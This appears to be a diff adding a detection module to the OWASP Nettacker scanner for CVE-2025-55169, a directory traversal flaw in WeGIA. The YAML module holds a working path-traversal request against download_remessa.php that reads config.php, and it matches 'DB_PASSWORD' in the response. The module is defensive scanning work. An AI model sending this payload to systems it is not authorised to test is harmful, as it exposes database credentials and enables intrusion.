New Vulnerability module for CVE_2025_55169 ( WeGIA - Directory Traversal )

docs/Modules.md

@@ -248,6 +248,7 @@ If you want to scan all ports please define -g 1-65535 range. Otherwise Nettacke
 - '**tieline_cve_2021_35336_vuln**' – check the target for Tieline CVE-2021-35336 vulnerability
 - '**tjws_cve_2021_37573_vuln**' – check the target for TJWS CVE-2021-37573 vulnerability
 - '**vbulletin_cve_2019_16759_vuln**' – check the target for vBulletin CVE-2019-16759 vulnerability
+- '**wegia_cve_2025_55169_vuln**' - check for a directory traversal vulnerability in WeGIA allowing arbitrary file read via download_remessa.php
 - '**wp_plugin_cve_2021_38314_vuln**' – check the target for WordPress plugin CVE-2021-38314
 - '**wp_plugin_cve_2021_39316_vuln**' – check the target for WordPress plugin CVE-2021-39316
 - '**wp_plugin_cve_2021_39320_vuln**' – check the target for WordPress plugin CVE-2021-39320

nettacker/modules/vuln/wegia_cve_2025_55169.yaml

@@ -0,0 +1,54 @@
+info:
+  name: wegia_cve_2025_55169_vuln
+  author: OWASP Nettacker Team
+  severity: 10
+  description: |
+    WeGIA versions prior to 3.4.8 are vulnerable to a directory traversal
+    vulnerability in the download_remessa.php endpoint, allowing unauthenticated
+    attackers to read arbitrary files such as config.php which contains
+    sensitive database credentials.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-55169
+    - https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mm3p-7573-4x4j
+  profiles:
+    - vuln
+    - http
+    - critical_severity
+    - cve2025
+    - cve
+    - wegia
+    - lfi
+    - path_traversal
+
+payloads:
+  - library: http
+    steps:
+      - method: get
+        timeout: 3
+        headers:
+          User-Agent: "{user_agent}"
+          Host: "{target}"
+        allow_redirects: false
+        ssl: false
+        url:
+          nettacker_fuzzer:
+            input_format: "{{schema}}://{target}:{{ports}}/html/socio/sistema/download_remessa.php?file=../../../www/html/wegia/config.php"
+            prefix: ""
+            suffix: ""
+            interceptors:
+            data:
+              schema:
+                - "http"
+                - "https"
+              ports:
+                - 80
+                - 443
+        response:
+          condition_type: and
+          conditions:
+            status_code:
+              regex: "200"
+              reverse: false
+            content:
+              regex: "DB_PASSWORD"
+              reverse: false